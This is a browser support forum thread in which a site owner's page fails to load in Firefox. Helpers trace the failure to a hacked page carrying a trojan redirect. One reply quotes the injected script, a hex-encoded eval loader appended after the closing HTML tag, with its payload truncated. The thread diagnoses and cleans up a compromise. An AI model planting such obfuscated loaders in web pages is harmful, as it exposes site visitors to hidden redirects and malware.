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My web site will not load with firefox, it is ok with google chrome

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My web site will not load up with firefox, google chrome loads it up fine

Chosen solution

Please click the Solved It button next to the answer that answered or solved your Firefox support issue, it appears when you are logged in, so this thread gets marked as Solved to help other users who may have this same problem.

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All Replies (14)

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Not load up in what way?

Can you attach a screenshot?

Use a compressed image type like PNG or JPG to save the screenshot and make sure that you do not exceed the maximum file size (1 MB).


Clear the cache and the cookies from sites that cause problems.

"Clear the Cache":

  • Tools > Options > Advanced > Network > Offline Storage (Cache): "Clear Now"

"Remove Cookies" from sites causing problems:

  • Tools > Options > Privacy > Cookies: "Show Cookies"

See also:

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Get this message,,,,,,,,"The connection was reset




         The connection to the server was reset while the page was loading.
       



 The site could be temporarily unavailable or too busy. Try again in a few
   moments.
 If you are unable to load any pages, check your computer's network
   connection.
 If your computer or network is protected by a firewall or proxy, make sure
   that Firefox is permitted to access the Web.
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Modified by Hasan

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THOSE LINKS ARE USELESS, TAKES ME BACK TO SCRIPTED SOLUTIONS THAT DO NOT WORK.

Seems i will have to remove firefox and stick with Google Chrome.

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When I tried your URL http://www.jailler.info yesterday and again today it opened O.K. but my anti-virus blocked an address (of a link I suppose) americanmobile etc.

Modified by alan_r

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The problem is with MY firefox, i need a fix, or update.

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The problem is NOT with your Firefox. Your website loaded fine but then it was Blocked by my Antivirus program as well and displayed The Connection was Reset error. The website contains TROJAN HORSE JS:IFRAME-AC and this is the reason why its being blocked in Firefox.

Since the website contains Trojans atleast i will not test it on my other browsers.

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Yes i researched that virus, its a redirecter to Americanmobiles.com, am trying to find a way to get it removed

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Is my Firefox problem a result of Malware ?

https://support.mozilla.com/en-US/kb/Is%20my%20Firefox%20problem%20a%20result%20of%20malware?

Check and tell if its working.

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There is a script appended to the end of that page after the closing </html>.


<script>var t="";var arr="646f63756d656e.....";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);
</script>

Modified by cor-el

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what do i do with that?

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Looks that the site is hacked and that script has been added.
You need to remove that script from the HTML code and make sure that you change the password for the site, so it won't happen again.

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thanks cor-el, much appreciated.

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Chosen Solution

Please click the Solved It button next to the answer that answered or solved your Firefox support issue, it appears when you are logged in, so this thread gets marked as Solved to help other users who may have this same problem.